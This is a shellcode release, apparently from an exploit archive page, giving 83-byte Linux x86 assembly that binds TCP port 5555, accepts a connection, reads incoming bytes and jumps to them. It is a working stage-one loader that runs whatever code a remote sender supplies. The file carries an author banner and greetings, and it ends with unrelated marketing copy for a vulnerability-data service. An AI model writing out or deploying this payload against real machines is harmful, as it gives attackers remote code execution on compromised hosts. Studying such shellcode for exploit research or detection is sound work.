/*
_ __ __ ___ __
| |/ /__ ____ ____ / |/ /_ __/ /_____ _
| / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
/ / __/ / / / /_/ / / / / /_/ / /_/ /_/ /
/_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/
xenomuta\x40phreaker\x2enet
http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
Description:
linux/x86 listens for shellcode on tcp/5555 and jumps to it
OS: Linux
Arch: x86
Length: 83 bytes
Author: XenoMuta
greetz to:
str0k3 (tnx for your effort), emra (fragancia),
fr1t0l4y (dejate ver), garay (no me olvido de los pobres ;p )
- God bless you all -
*/
.global _start
_start:
xor %ebx, %ebx
mov %ebx, %eax
_socket:
push $0x6
push $0x1
push $0x2
mov $0x66, %al
incb %bl
mov %esp, %ecx
int $0x80
_bind:
mov %eax, %edi
xor %edx, %edx
push %edx
pushw $0xb315 /* 5555 */
pushw %bx
mov %esp, %ecx
push $0x10
push %ecx
push %edi
mov $0x66, %al
incb %bl
mov %esp, %ecx
int $0x80
_listen:
incb %bl
push $0x1
push %edi
mov $0x66, %al
incb %bl
mov %esp, %ecx
int $0x80
_accept:
push %edx
push %edx
push %edi
mov $0x66, %al
incb %bl
mov %esp, %ecx
int $0x80
mov %eax, %ebx
_read:
mov $0x3, %al
mov %esp, %ecx
mov $0x7ff, %dx
incb %dl
int $0x80
jmp *%ecx /* Jump to our shellcode */
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation